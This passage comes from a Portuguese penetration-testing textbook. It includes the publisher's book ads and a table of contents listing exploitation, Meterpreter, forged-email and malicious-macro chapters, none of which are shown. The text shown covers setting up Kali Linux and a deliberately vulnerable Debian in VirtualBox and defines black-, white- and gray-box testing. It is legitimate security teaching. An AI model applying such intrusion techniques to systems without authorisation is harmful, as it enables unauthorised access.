o intuito de</p><p>capacitar o leitor a entender e realizar o pentest</p><p>em redes sem fio. Como complemento da obra</p><p>Introdução ao pentest, do mesmo autor, este livro</p><p>é focado exclusivamente em redes sem fio,</p><p>mostrando as principais formas de ataque que um</p><p>indivíduo mal-intencionado pode utilizar para</p><p>acessar a sua rede sem fio. Simulando o</p><p>pensamento de um cracker, este livro apresenta os</p><p>passos e as técnicas necessárias para se obter o</p><p>acesso à rede sem fio: Conhecer o funcionamento</p><p>de uma rede sem fio na teoria e na prática: quais</p><p>são os principais tipos de criptografia e como</p><p>funcionam. Testar laboratórios e ambientes</p><p>simulados: vamos entender por que os principais</p><p>sistemas criptográficos falham e por que é tão</p><p>simples hackear uma rede sem fio. Realizar o</p><p>http://www.amazon.com.br/s/?search-alias=digital-text&field-keywords=9788575226070</p><p>mapeamento de redes sem fio com softwares</p><p>específicos para essa finalidade (GPS USB) e</p><p>descobrir a localização física dos pontos de acesso.</p><p>Saber como se defender por meio dos softwares de</p><p>monitoramento e de detecção de intruso (wIDS e</p><p>wIPS). Aprender a criar, de forma didática e</p><p>explicativa, as redes sem fio mais seguras que</p><p>existem: redes empresariais com certificados</p><p>digitais autoassinados. Com todo esse armamento</p><p>em mãos, realizar uma simulação de pentest e, ao</p><p>final, aprender como é feita a escrita de um</p><p>relatório de pentest para redes sem fio. Esta obra</p><p>aborda os testes de intrusão em redes sem fio em</p><p>detalhes. Após a leitura, certamente as redes</p><p>nunca mais serão as mesmas.</p><p>Compre agora e leia</p><p>http://www.amazon.com.br/s/?search-alias=digital-text&field-keywords=9788575226070</p><p>Guia Prático de Cifragem</p><p>Manual</p><p>Ribeiro, Fred</p><p>9788575226230</p><p>104 páginas</p><p>Compre agora e leia</p><p>Este guia visa recuperar técnicas úteis que têm</p><p>sido esquecidas ao longo do tempo, métodos de</p><p>cifragem que podem ser utilizados com um mínimo</p><p>de recursos, pouco além de papel e caneta.</p><p>Também apresenta novas cifras e adaptações de</p><p>cifras a dispositivos do dia a dia, como sudoku,</p><p>batalha naval e tabuleiro de xadrez. Com</p><p>linguagem simples e repleto de exemplos, o livro</p><p>prima pela praticidade. A cifragem manual não</p><p>visa substituir a criptografia digital, mas</p><p>complementar, ao suprir o indivíduo com técnicas</p><p>que sejam empregadas quando da ausência de</p><p>recursos computacionais.</p><p>Compre agora e leia</p><p>http://www.amazon.com.br/s/?search-alias=digital-text&field-keywords=9788575226230</p><p>http://www.amazon.com.br/s/?search-alias=digital-text&field-keywords=9788575226230</p><p>Automatize tarefas maçantes</p><p>com Python</p><p>Sweigart, Al</p><p>9788575226087</p><p>568 páginas</p><p>Compre agora e leia</p><p>APRENDA PYTHON. FAÇA O QUE TEM DE SER</p><p>FEITO. Se você já passou horas renomeando</p><p>arquivos ou atualizando centenas de células de</p><p>planilhas, sabe quão maçantes podem ser esses</p><p>tipos de tarefa. Que tal se você pudesse fazer o</p><p>seu computador executá-las para você? Com o</p><p>livro Automatize tarefas maçantes com Python,</p><p>você aprenderá a usar o Python para criar</p><p>programas que farão em minutos o que exigiria</p><p>horas para ser feito manualmente – sem que seja</p><p>necessário ter qualquer experiência anterior com</p><p>programação. Após ter dominado o básico sobre</p><p>programação, você criará programas Python que</p><p>realizarão proezas úteis e impressionantes de</p><p>automação sem nenhum esforço: Pesquisar texto</p><p>em um arquivo ou em vários arquivos. Criar,</p><p>http://www.amazon.com.br/s/?search-alias=digital-text&field-keywords=9788575226087</p><p>atualizar, mover e renomear arquivos e pastas.</p><p>Pesquisar na Web e fazer download de conteúdos</p><p>online. Atualizar e formatar dados em planilhas</p><p>Excel de qualquer tamanho. Separar, combinar,</p><p>adicionar marcas-d'água e criptografar PDFs.</p><p>Enviar emails para lembretes e notificações</p><p>textuais. Preencher formulários online. Instruções</p><p>passo a passo descreverão cada programa e</p><p>projetos práticos no final de cada capítulo</p><p>desafiarão você a aperfeiçoar esses programas e a</p><p>usar suas habilidades recém-adquiridas para</p><p>automatizar tarefas semelhantes. Não gaste seu</p><p>tempo executando tarefas que um macaquinho</p><p>bem treinado poderia fazer. Mesmo que não tenha</p><p>jamais escrito uma linha de código, você poderá</p><p>fazer o seu computador realizar o trabalho pesado.</p><p>Saiba como em Automatize tarefas maçantes com</p><p>Python.</p><p>Compre agora e leia</p><p>http://www.amazon.com.br/s/?search-alias=digital-text&field-keywords=9788575226087</p><p>Desenvolvendo Websites com</p><p>PHP</p><p>Niederauer, Juliano</p><p>9788575226179</p><p>320 páginas</p><p>Compre agora e leia</p><p>Desenvolvendo Websites com PHP apresenta</p><p>técnicas de programação fundamentais para o</p><p>desenvolvimento de sites dinâmicos e interativos.</p><p>Você aprenderá a desenvolver sites com uma</p><p>linguagem utilizada em milhões de sites no mundo</p><p>inteiro. O livro abrange desde noções básicas de</p><p>programação até a criação e manutenção de</p><p>bancos de dados, mostrando como são feitas</p><p>inclusões, exclusões, alterações e consultas a</p><p>tabelas de uma base de dados. O autor apresenta</p><p>diversos exemplos de programas para facilitar a</p><p>compreensão da linguagem. Nesta obra, você irá</p><p>encontrar os seguintes tópicos: O que é PHP e</p><p>quais são suas características; Conceitos básicos e</p><p>avançados de programação em PHP; Como</p><p>manipular diversos tipos de dados com o PHP;</p><p>http://www.amazon.com.br/s/?search-alias=digital-text&field-keywords=9788575226179</p><p>Criação de programas orientados a objetos (OOP);</p><p>Comandos PHP em conjunto com tags HTML;</p><p>Utilização de includes para aumentar o dinamismo</p><p>de seu site; Como tratar os dados enviados por um</p><p>formulário HTML; Utilidade das variáveis de</p><p>ambiente no PHP; Criação de banco de dados em</p><p>MySQL, PostgreSQL ou SQLite; Comandos SQL para</p><p>acessar o banco de dados via PHP; Como criar um</p><p>sistema de username/password para seu site;</p><p>Utilização de cookies e sessões; Leitura e gravação</p><p>de dados em arquivos-texto; Como enviar e-mails</p><p>pelo PHP.</p><p>Compre agora e leia</p><p>http://www.amazon.com.br/s/?search-alias=digital-text&field-keywords=9788575226179</p><p>Jovem e Bem-sucedido</p><p>Niederauer, Juliano</p><p>9788575225325</p><p>192 páginas</p><p>Compre agora e leia</p><p>Jovem e Bem-sucedido é um verdadeiro guia para</p><p>quem deseja alcançar a realização profissional e a</p><p>financeira o mais rápido possível. Repleto de dicas</p><p>e histórias interessantes vivenciadas pelo autor, o</p><p>livro desmistifica uma série de crenças relativas</p><p>aos estudos, ao trabalho e ao dinheiro. Tem como</p><p>objetivo orientar o leitor a planejar sua vida desde</p><p>cedo, possibilitando que se torne bem-sucedido</p><p>em pouco tempo e consiga manter essa realização</p><p>no decorrer dos anos. As três perspectivas</p><p>abordadas são: ESTUDOS: mostra que os estudos</p><p>vão muito além da escola ou faculdade. Aborda as</p><p>melhores práticas de estudo e a aquisição dos</p><p>conhecimentos ideais e nos momentos certos.</p><p>TRABALHO: explica como você pode se tornar um</p><p>profissional moderno, identificando oportunidades</p><p>e aumentando cada vez mais suas fontes de</p><p>http://www.amazon.com.br/s/?search-alias=digital-text&field-keywords=9788575225325</p><p>renda. Fornece ainda dicas valiosas para</p><p>desenvolver as habilidades mais valorizadas no</p><p>mercado de trabalho. DINHEIRO: explica como</p><p>assumir o controle de suas finanças, para, então,</p><p>começar a investir e multiplicar seu patrimônio.</p><p>Apresenta estratégias de investimentos de acordo</p><p>com o momento de vida de cada um, abordando</p><p>as vantagens e desvantagens de cada tipo de</p><p>investimento. Jovem e Bem-sucedido apresenta</p><p>ideias que o acompanharão a vida toda, realizando</p><p>importantes mudanças no modo como você</p><p>planeja estudar, trabalhar e lidar com o dinheiro.</p><p>Compre agora e leia</p><p>http://www.amazon.com.br/s/?search-alias=digital-text&field-keywords=9788575225325</p><p>dLivros</p><p>capítulo 1</p><p>Introdução à segurança da informação e ao Kali Linux</p><p>1.1 Princípios de segurança da informação e proteção de dados</p><p>1.2 Conhecendo o Kali Linux</p><p>capítulo 2</p><p>Preparando o ambiente de teste</p><p>2.1 Recursos necessários</p><p>2.2 Obtendo o Kali Linux</p><p>2.2.1 Instalação do VirtualBox</p><p>2.2.2 Instalação de uma máquina virtual</p><p>2.3 Configurando a rede no Kali Linux</p><p>2.4 Terminal de comandos</p><p>2.5 Atualizando o Kali Linux</p><p>2.6 Instalação do Debian</p><p>2.7 Backup da máquina virtual</p><p>capítulo 3</p><p>Pentest</p><p>3.1 O que é pentest?</p><p>3.2 Porque realizá-lo?</p><p>3.3 Tipos de pentest</p><p>3.3.1 Black-box</p><p>3.3.2 White-box</p><p>3.3.3 Gray-box</p><p>3.4 Análise de vulnerabilidade</p><p>3.5 Metodologias de pentest</p><p>3.5.1 Metodologia ISSAF</p><p>3.5.2 Metodologia OWASP</p><p>3.5.3 Metodologia OSSTMM</p><p>3.5.4 Metodologia Backtrack</p><p>capítulo 4</p><p>Planejamento do projeto</p><p>4.1 Informações gerais</p><p>4.2 Objetivo do pentest</p><p>4.3 Limitações</p><p>4.4 Contrato de acordo</p><p>4.5 Linha do tempo</p><p>capítulo 5</p><p>Footprinting</p><p>5.1 DNS</p><p>5.1.1 Tipos de registro DNS</p><p>5.2 Laboratório – Enumeração DNS</p><p>5.3 Programas para enumeração DNS</p><p>5.3.1 DNSenum</p><p>5.3.2 DNSmap</p><p>5.3.3 DNSrecon</p><p>5.3.4 Fierce</p><p>5.4 Coleta de email</p><p>5.5 Firewall iptables</p><p>5.5.1 Comandos para gerenciamento do iptables</p><p>5.6 Informações de rota</p><p>5.6.1 Traceroute</p><p>5.6.2 TCPtraceroute</p><p>capítulo 6</p><p>Fingerprinting</p><p>6.1 Fingerprinting passivo</p><p>6.1.1 P0f</p><p>6.2 Fingerprinting ativo</p><p>6.2.1 Ping</p><p>6.2.2 Fping</p><p>6.2.3 Arping</p><p>6.2.4 Netdiscover</p><p>6.2.5 Hping3</p><p>6.2.6 Xprobe2</p><p>6.2.7 Maltego</p><p>capítulo 7</p><p>Enumeração</p><p>7.1 Modelo OSI</p><p>7.2 Protocolo TCP/IP</p><p>7.3 Port scanner</p><p>7.3.1 Nmap</p><p>7.4 O canivete suíço Netcat</p><p>7.4.1 Laboratório Netcat</p><p>7.5 Enumeração SMTP</p><p>7.5.1 Laboratório email</p><p>7.5.2 STMPUser enum</p><p>7.5.3 Como enviar emails falsos (via PHP)</p><p>7.5.4 Como enviar emails falsos (via Open Relay)</p><p>7.6 Enumeração SNMP</p><p>7.6.1 SNMPcheck</p><p>7.6.2 OneSixtyOne</p><p>capítulo 8</p><p>Mapeamento de vulnerabilidades</p><p>8.1 Tipos de vulnerabilidades</p><p>8.1.1 Vulnerabilidade local</p><p>8.1.2 Vulnerabilidade remota</p><p>8.2 Scanners de vulnerabilidade</p><p>8.2.1 OpenVAS</p><p>8.2.2 Nessus</p><p>capítulo 9</p><p>Exploração do alvo</p><p>9.1 Metasploit</p><p>9.1.1 Msfconsole</p><p>9.1.2 Comandos básicos</p><p>9.2 A vulnerabilidade MS12-020-maxchannelids</p><p>9.3 Exploitando Windows vulnerável</p><p>9.4 Payload Meterpreter</p><p>9.4.1 Core commands</p><p>9.4.2 File system commands</p><p>9.4.3 Networking commands</p><p>9.4.4 System commands</p><p>9.4.5 User Interface commands</p><p>9.5 Pivoting com Metasploit</p><p>9.6 VPN Pivoting (Pivoting via Layer 2)</p><p>9.7 Vulnerabilidade shellshock</p><p>9.8 Explorando servidores NFS mal configurados</p><p>9.9 Explorando X Window System</p><p>capítulo 10</p><p>Engenharia social</p><p>10.1 Processo de ataque</p><p>10.2 Tipos de engenharia social</p><p>10.3 SET (Social Engineering Toolkit)</p><p>10.4 Office 2010 pptimpconv DLL hijacking</p><p>10.5 Macros maliciosas</p><p>10.6 Internet Explorer ms10_046</p><p>10.7 Internet Explorer</p><p>Em resumo, é</p><p>o usuário com acesso pleno ao sistema. Configurar</p><p>sistemas Linux com senhas do usuário root complexas</p><p>(mesclagem entre caracteres, números e dígitos</p><p>especiais) é fundamental. Porém, por se tratar de uma</p><p>máquina virtual em um ambiente de testes, configure</p><p>uma senha fácil de ser lembrada (Figura 2.29).</p><p>Figura 2.29 – Configurando uma senha de fácil</p><p>memorização para o superusuário root.</p><p>Configure o relógio do sistema de acordo com a sua</p><p>localização geofísica (Figura 2.30).</p><p>Figura 2.30 – Configurando o relógio.</p><p>A próxima configuração define como será particionado e</p><p>instalado o Kali Linux no disco rígido. Há diversas opções:</p><p>• Usar o disco inteiro. Por exemplo: se o Kali Linux for</p><p>iniciado por CD no computador, essa opção usará todo</p><p>o HD para fazer a instalação, formatando os dados.</p><p>• Utilizar LVMs (com e sem criptografia).</p><p>• Formatação e a instalação dos arquivos de forma</p><p>manual (Figura 2.31).</p><p>Figura 2.31 – Opção “Assistido – usar o disco inteiro”:</p><p>instalação mais simples e automatizada.</p><p>Será exibido o HD em que será instalado o Kali Linux</p><p>(Figura 2.32). O leitor poderá instalar tranquilamente o</p><p>Kali Linux na máquina virtual sem se preocupar se essa</p><p>formatação apagará os dados do seu computador, pois,</p><p>como se trata de uma máquina virtual, nenhuma</p><p>alteração afetará a configuração do computador (o leitor</p><p>poderá criar, excluir e mover dados e arquivos dentro da</p><p>máquina virtual).</p><p>Na instalação do Kali Linux é possível escolher se os</p><p>diretórios (sistema FHS) serão colocados em uma única</p><p>partição, se apenas a partição /home será colocada em</p><p>uma partição separada ou se as partições /home, /usr,</p><p>/var e /tmp serão separadas das restantes (Figura 2.33).</p><p>Como vamos utilizar o Kali Linux apenas em um</p><p>ambiente de teste, não há necessidade de separamos as</p><p>partições do sistema raiz. Então escolha a opção Todos</p><p>os arquivos em uma partição (para iniciantes).</p><p>Figura 2.32 – Na instalação do Kali Linux, o HD da</p><p>máquina virtual é automaticamente detectado.</p><p>Figura 2.33 – As partições serão colocadas em um único</p><p>sistema de arquivos.</p><p>Depois de configurada a instalação do Kali Linux, finalize</p><p>as mudanças selecionando a opção Finalizar o</p><p>particionamento e escrever mudanças no disco (Figura</p><p>2.34).</p><p>Figura 2.34 – Salvando as alterações para que seja</p><p>iniciada a instalação do Kali Linux.</p><p>É exibida uma última mensagem ao usuário para que</p><p>confirme se todas as configurações estão ok; selecione a</p><p>opção Sim (Figura 2.35).</p><p>Figura 2.35 – A instalação será iniciada e as alterações</p><p>não poderão ser desfeitas.</p><p>Caso deseje, utilize mirrors (espelhos) como mostrado na</p><p>figura 2.36.</p><p>Figura 2.36 – Utilização de espelhos.</p><p>Ao utilizar espelhos, o Kali Linux solicita informações do</p><p>proxy. Normalmente proxies são utilizados em redes</p><p>empresariais para controle de acesso dos usuários. Se a</p><p>instalação do Kali Linux estiver sendo realizada em</p><p>ambientes domésticos, essa opção pode ser deixada em</p><p>branco; do contrário, contate o administrador de sua</p><p>rede para que ele forneça as informações necessárias</p><p>(Figura 2.37).</p><p>Figura 2.37 – A opção de proxy pode ser deixada em</p><p>branco em uma instalação doméstica.</p><p>A última etapa consiste na instalação do gerenciador de</p><p>boot GRUB 2, que é responsável por inicializar o sistema</p><p>operacional. Instale-o clicando em Sim (Figura 2.38).</p><p>Figura 2.38 – Instalação do gerenciador de boot GRUB 2.</p><p>O Kali Linux foi devidamente instalado na sua máquina</p><p>virtual.</p><p>Na tela de inicialização do Kali Linux, acesse a aba Outro.</p><p>Entre com o usuário root e a sua respectiva senha</p><p>(Figuras 2.39 a 2.41).</p><p>Figura 2.39 – Acessando o sistema como Outro.</p><p>Figura 2.40 – Acesso com o nome de “root”.</p><p>Figura 2.41 – Digitando a senha do superusuário “root”.</p><p>2.3 Configurando a rede no Kali</p><p>Linux</p><p>Pela configuração-padrão, as máquinas virtuais sempre</p><p>são selecionadas em modo NAT (nesse modo a interface</p><p>de rede do VirtualBox possui um endereço IP inválido</p><p>para os nossos objetivos). Para que os experimentos</p><p>sejam efetivos, vamos alterar para o modo Bridged</p><p>(nesse modo a interface de rede do VirtualBox consegue</p><p>obter um endereço IP legítimo da rede), que permite que</p><p>a interface (no exemplo, estou usando a interface de</p><p>rede Intel) utilize o modo promíscuo selecionando a</p><p>opção Modo Promíscuo > Permitir Tudo (Figura 2.42).</p><p>Figura 2.42 – Configuração de rede para a máquina</p><p>virtual Kali Linux.</p><p>2.4 Terminal de comandos</p><p>Para todos os laboratórios será utilizado o terminal de</p><p>comandos (Shell) localizado em Aplicativos > Acessórios</p><p>> Terminal de Root (Figura 2.43).</p><p>Figura 2.43 – Shell de comandos do Kali Linux.</p><p>• Para iniciarmos o serviço de rede, digite no terminal:</p><p>root@kali# /etc/init.d/networking start</p><p>• Para interromper o serviço de rede, digite:</p><p>root@kali# /etc/init.d/networking stop</p><p>• Para verificar o número IP, digite:</p><p>root@kali# ifconfig</p><p>• Para atribuir número IP via DHCP na rede, digite:</p><p>root@kali# dhclient eth0</p><p>2.5 Atualizando o Kali Linux</p><p>Embora não aconselhado para os laboratórios do livro,</p><p>devido a mudanças feitas nos softwares utilizados, o Kali</p><p>Linux pode ser atualizado.</p><p>• Conteúdo do arquivo /etc/apt/sources.list2</p><p>deb http://old.kali.org/kali moto main non-free contrib</p><p>deb-src http://old.kali.org/kali moto main non-free contrib</p><p>• Para atualizar o repositório dos programas que estão</p><p>no Kali (apt-get):</p><p>root@kali# apt-get update</p><p>• Para atualizar os programas que estão no Kali Linux:</p><p>root@kali# apt-get upgrade</p><p>• Para atualizar o sistema operacional:</p><p>root@kali# apt-get dist-upgrade</p><p>2.6 Instalação do Debian</p><p>Para os laboratórios também deverá ser instalado o</p><p>Debian 7.4. É uma versão mais antiga com alguns bugs</p><p>(como o shellshock) que serão estudados nos exercícios.</p><p>Realize o download da versão do Debian apropriada para</p><p>o seu computador:</p><p>• Intel:</p><p>http://debian.mirror.exetel.com.au/debian-</p><p>cd/7.4.0/i386/iso-cd/debian-7.4.0-i386-netinst.iso</p><p>• AMD:</p><p>http://debian.mirror.exetel.com.au/debian-</p><p>cd/7.4.0/amd64/iso-cd/debian-7.4.0-amd64-netinst.iso</p><p>A instalação do Debian é análoga ao Kali Linux.</p><p>2.7 Backup da máquina virtual</p><p>Após a instalação do Kali Linux e do Debian, recomenda-</p><p>se efetuar o backup da máquina virtual salvando-a em</p><p>um arquivo com extensão .ova.</p><p>Selecione a máquina clicando em cima do nome da</p><p>máquina (Figura 2.44).</p><p>Figura 2.44 – Selecionando a máquina virtual em que</p><p>será feito o backup.</p><p>Vá em Arquivo, depois em Exportar Appliance (Figura</p><p>2.45).</p><p>Figura 2.45 – Exportação da máquina virtual.</p><p>Caso tenha instalado várias máquinas virtuais, selecione</p><p>a máquina em que será feito o backup (Figura 2.46).</p><p>Figura 2.46 – Máquina virtual em que será feito o backup.</p><p>Na próxima tela (Figura 2.47), é mostrado em qual</p><p>diretório será salvo o backup da máquina virtual (formato</p><p>.ova). Por padrão é selecionado o diretório de</p><p>documentos do seu usuário.</p><p>Figura 2.47 – A máquina será salva no diretório de</p><p>documentos do usuário.</p><p>Clique em Exportar para exportá-la (Figura 2.48).</p><p>Figura 2.48 – Exportação da máquina.</p><p>Para restaurar o backup, vá em Arquivo > Importar</p><p>Appliance (Figura 2.49).</p><p>Figura 2.49 – Importação da máquina.</p><p>Selecione o arquivo com extensão .ova e realize a</p><p>restauração da máquina virtual (Figuras 2.50 e 2.51).</p><p>Figura 2.50 – Selecionando o arquivo .ova a ser</p><p>importado.</p><p>Figura 2.51 – Importando uma máquina backup.</p><p>1 Definição de PAE/NX segundo a Microsoft. Fonte:</p><p>http://windows.microsoft.com/pt-br/windows-8/what-is-pae-nx-sse2.</p><p>2 Fonte: http://docs.kali.org/general-use/kali-linux-sources-list-repositories.</p><p>CAPÍTULO 3</p><p>Pentest</p><p>3.1 O que é pentest?</p><p>Penetration testing ou pentest (traduzido como teste de</p><p>intrusão ou teste de penetração) é uma bateria de testes</p><p>metodológicos normalmente aplicados em redes de</p><p>computadores e sistemas operacionais, podendo ser</p><p>direcionados também a websites, redes sem fio, bancos</p><p>de dados, aplicativos e programas, com o objetivo de</p><p>descobrir, mapear e expor todas as possíveis</p><p>vulnerabilidades. Dessa forma, aplicar e realizar um</p><p>pentest</p><p>torna-se tarefa vital para grandes corporações,</p><p>pois somente por meio do pentest é que será possível</p><p>descobrir as falhas inerentes à rede testada. Com as</p><p>falhas encontradas, é possível criar mecanismos de</p><p>defesa adequados para aquela corporação.</p><p>Há diversas metodologias que podem ser adotadas em</p><p>um pentest: OSSTMM, OWASP e outras. Cada</p><p>metodologia abrange propósitos diversos. Neste livro</p><p>será usada uma metodologia personalizada: a</p><p>metodologia Backtrack1.</p><p>A meta do pentest não é conseguir acesso não</p><p>autorizado a um sistema ou servidor, simplesmente pela</p><p>diversão de realizar um ataque muito similar ao real; é</p><p>sim, a partir das falhas encontradas, aplicar os devidos</p><p>mecanismos de segurança para aquele sistema auditado.</p><p>As correções poderão ser aplicadas da melhor forma</p><p>possível, seja reparando hardwares com bugs, aplicando</p><p>patchs de segurança e políticas de senhas, entre outras</p><p>formas.</p><p>Sempre no final de cada teste, um relatório com as</p><p>vulnerabilidades encontradas e soluções para essas</p><p>falhas são entregues ao cliente.</p><p>Lembrando que, por mais detalhados que sejam os</p><p>testes de intrusão, sempre há vulnerabilidades</p><p>desconhecidas que não foram divulgadas, e, mesmo em</p><p>um pentest, não é possível encontrá-las. De fato, o</p><p>intuito deste livro é explorar falhas conhecidas e já</p><p>divulgadas, para as quais (pelo menos a maioria) já</p><p>existem correções.</p><p>3.2 Porque realizá-lo?</p><p>O principal objetivo do teste de penetração é determinar</p><p>falhas e vulnerabilidades. As informações colhidas</p><p>durante o teste de penetração são informadas no</p><p>relatório de vulnerabilidades.</p><p>Porém um teste de penetração também pode ser</p><p>realizado por criminosos virtuais, que terão acesso a</p><p>informações confidenciais que comprometem a</p><p>integridade dos dados digitais de seu alvo. De posse de</p><p>tais informações confidenciais, a rede que é alvo de um</p><p>ataque digital pode sofrer consequências que vão</p><p>depender da vontade do criminoso virtual:</p><p>• Roubo e disseminação na web de informações</p><p>confidenciais e arquivos sigilosos.</p><p>• Roubo e sequestro de senhas de acesso a servidores e</p><p>máquinas vitais ao funcionamento da rede.</p><p>• Roubo de senhas de internet banking.</p><p>• Uso de qualquer informação confidencial para</p><p>benefício próprio.</p><p>• Instalação de vírus e programas para acesso remoto</p><p>(backdoors).</p><p>• Uso da rede e dos computadores como “laranja” para</p><p>outros crimes virtuais.</p><p>• Perda de faturamento financeiro devido a ataques de</p><p>negação e paralisação de serviços e internet na rede</p><p>vítima.</p><p>• Dentre outras consequências.</p><p>O teste de penetração deve fazer parte do escopo de um</p><p>projeto de redes, tendo em vista que haverá inúmeras</p><p>maneiras que o atacante utilizará para obter acesso à</p><p>rede testada. Uma vez invadida, a rede poderá sofrer</p><p>sérios danos e a equipe de TI, sérias perdas.</p><p>3.3 Tipos de pentest</p><p>Devido a uma gama de tipos de pentest que existem</p><p>(rede sem fio, web, aplicativo móvel etc.), vamos</p><p>classificar antes quais são os tipos de teste que podem</p><p>ser realizados, para depois determinarmos a metodologia</p><p>correta sobre o tipo de teste escolhido.</p><p>3.3.1 Black-box</p><p>O cenário black-box também é chamado de teste da</p><p>caixa preta ou teste cego. Nesse tipo de teste, o auditor</p><p>de segurança acessará a infraestrutura da rede sem ter</p><p>conhecimento prévio do funcionamento da rede, como</p><p>quais são as máquinas, qual é o mapeamento da</p><p>infraestrutura, servidores e processos rodando.</p><p>Esse cenário será o mais típico quando uma empresa</p><p>sofrer um ataque de invasão externo, pois a maioria dos</p><p>invasores terá vindo de fora da rede e não terá</p><p>conhecimento da infraestrutura. Os aspirantes a hackers</p><p>executam scripts automatizados para determinar falhas e</p><p>vulnerabilidades, e saem a seu bel-prazer enumerando</p><p>as redes que encontram. Por uma questão de sorte,</p><p>acabam encontrando uma rede falha e mal configurada</p><p>que permite a sua invasão.</p><p>Um exemplo clássico de cenário de black-box é quando</p><p>um script kid encontra um site na internet que sofre de</p><p>algum bug conhecido, como SQL Injection, e por meio de</p><p>um programa especial consegue acesso ao painel</p><p>administrativo do site.</p><p>A metodologia black-box é subcategorizada em:</p><p>• Blind – Neste teste o auditor não tem nenhuma</p><p>informação da rede a ser testada, e o alvo sabe o que</p><p>será atacado e quais testes e metodologias serão</p><p>realizados.</p><p>• Double Blind – Neste teste o auditor não tem</p><p>nenhuma informação da rede a ser testada, e o alvo</p><p>não sabe o que será atacado e nem quais</p><p>metodologias e ataques serão realizados.</p><p>Esse teste é mais simples do que o white-box, pois</p><p>apenas dificultará os invasores externos que não têm</p><p>conhecimento da rede. Porém, em um cenário em que o</p><p>atacante tem conhecimento da rede (ou até mesmo</p><p>acesso restrito à rede), a metodologia black-box torna-se</p><p>superficial. Outro cenário seria quando se realiza o teste</p><p>black-box, mas isso não garante em nada a segurança</p><p>interna da rede, e ela ainda poderá rodar processos e</p><p>serviços vulneráveis acessíveis a pessoas de dentro da</p><p>corporação (por exemplo, funcionários). Nesses casos, o</p><p>melhor a fazer é adotar a metodologia white-box.</p><p>3.3.2 White-box</p><p>O cenário white-box também é chamado de teste da</p><p>caixa branca ou teste não cego. Nesse teste, o auditor de</p><p>segurança terá total conhecimento da infraestrutura da</p><p>rede testada: diagrama e mapeamento da rede,</p><p>endereços IP usados, firewalls, código-fonte das</p><p>aplicações etc.</p><p>Esse cenário torna-se típico em casos de ataques</p><p>internos. Por exemplo: um funcionário de alto cargo que</p><p>deseja prejudicar a empresa ou lucrar à custa dela ou um</p><p>ex-funcionário insatisfeito que tinha acesso a</p><p>informações sigilosas e agora quer vingança. Outro</p><p>exemplo seria um sistema web que solicite usuário e</p><p>senha. Dessa forma, o auditor vai necessitar de um</p><p>usuário e uma senha criados especialmente para a</p><p>auditoria. Um terceiro exemplo seria a revisão do código-</p><p>fonte, em que obrigatoriamente o auditor terá de ler o</p><p>código da aplicação para buscar as vulnerabilidades.</p><p>A metodologia white-box é subcategorizada em:</p><p>• Tandem – Neste teste o auditor tem total</p><p>conhecimento da rede a ser testada. O alvo sabe o</p><p>que será atacado e quais testes serão realizados. Essa</p><p>metodologia também é apelidada de caixa de cristal.</p><p>• Reversal – Neste teste o auditor tem total</p><p>conhecimento da rede a ser testada. O alvo não sabe</p><p>que será atacado, nem quais testes serão realizados.</p><p>A metodologia white-box é mais específica e detalhada</p><p>do que a black-box, visto que o auditor terá acesso a</p><p>toda e qualquer informação da rede. Dessa forma,</p><p>poderá elaborar um plano de ataque de maneira muito</p><p>mais detalhada e efetiva.</p><p>As informações colhidas em testes white-box podem ser</p><p>obtidas em testes black-box, porém pode ser que algum</p><p>detalhe passe despercebido pelo auditor na metodologia</p><p>black-box. Por exemplo, caso seja necessário realizar a</p><p>enumeração DNS e a rede não permita transferência de</p><p>zona, durante a metodologia black-box, pode ser que</p><p>alguns servidores e domínios não sejam recuperados</p><p>pelo auditor, o que não aconteceria durante a</p><p>metodologia white-box.</p><p>Obviamente, em testes white-box, o tempo e o custo são</p><p>bem maiores do que em testes black-box, mas garantem</p><p>um resultado bem mais efetivo.</p><p>3.3.3 Gray-box</p><p>Gray-box também é chamado de teste da caixa cinza ou</p><p>teste parcialmente cego. Nesse teste, o auditor terá</p><p>conhecimento parcial da rede testada. É uma mescla</p><p>entre os testes black-box e white-box.</p><p>Um exemplo desse cenário é um sistema web em que o</p><p>auditor terá acesso parcial às informações (tem acesso a</p><p>um usuário e uma senha, porém não tem acesso ao</p><p>código-fonte).</p><p>A metodologia gray-box é subcategorizada em:</p><p>• Gray-box – Neste teste o auditor tem conhecimento</p><p>parcial do sistema, e o alvo sabe o que será atacado e</p><p>quais testes serão realizados.</p><p>• Double gray-box – Neste teste o auditor tem</p><p>conhecimento parcial do sistema, e o alvo não sabe o</p><p>que será atacado e nem quais testes serão realizados.</p><p>3.4 Análise de vulnerabilidade</p><p>Processo que consiste em apenas enumerar</p><p>as</p><p>vulnerabilidades encontradas. A diferença entre análise</p><p>de vulnerabilidade e o teste de penetração é que este vai</p><p>além da identificação das vulnerabilidades e entra em</p><p>etapas como exploração do alvo, ganho de acesso</p><p>administrativo no sistema, instalação de programas para</p><p>controle remoto etc. Já na análise de vulnerabilidade, é</p><p>feito apenas um levantamento das falhas encontradas</p><p>sem usar o verdadeiro “poder de fogo” de um teste de</p><p>intrusão, não relatando se realmente a vulnerabilidade</p><p>existe ou não.</p><p>Para ilustrar a diferença entre pentest e análise de</p><p>vulnerabilidade: em um pentest foi detectado que uma</p><p>página sofre de uma vulnerabilidade de SQL Injection.</p><p>Para se certificar de que a página apresenta essa</p><p>vulnerabilidade, no pentest deverão ser feitos testes e</p><p>tentar explorar de fato essa vulnerabilidade por meio de</p><p>injeções de códigos e uso de exploits. Com isso</p><p>conseguimos determinar se a vulnerabilidade de fato</p><p>existe e pode ou não ser explorada (nós eliminamos</p><p>resultados falso-positivos). Já em um cenário de análise</p><p>de vulnerabilidades, a falha de SQL Injection também é</p><p>detectada, mas não são utilizados exploits e/ou qualquer</p><p>outro tipo de teste mais intrusivo para ganho de acesso.</p><p>Dessa forma, a vulnerabilidade foi detectada mas não</p><p>temos a total certeza se ela é explorável ou se é apenas</p><p>um resultado falso-positivo.</p><p>Mesmo com a incerteza de resultados falso-positivos, a</p><p>análise de vulnerabilidade é recomendada em cenários</p><p>especiais e restritivos. Uma estação de metrô com a</p><p>central sendo controlada por dispositivos sem fio é um</p><p>exemplo para a realização de análise de</p><p>vulnerabilidades. Isso porque se for realizado um</p><p>pentest, poderão ser feitos testes mais intrusivos (como</p><p>ataques de negação de serviço) que podem gerar muita</p><p>instabilidade no sistema alvo (o que não é permitido).</p><p>3.5 Metodologias de pentest</p><p>Há vários tipos de metodologias que podem ser aplicadas</p><p>em um teste de penetração. A necessidade de diversas</p><p>metodologias para o teste de penetração é para que, a</p><p>cada cenário e escopo de projeto, possam ser definidos</p><p>os testes corretos. Por exemplo, não há sentido em</p><p>utilizar a 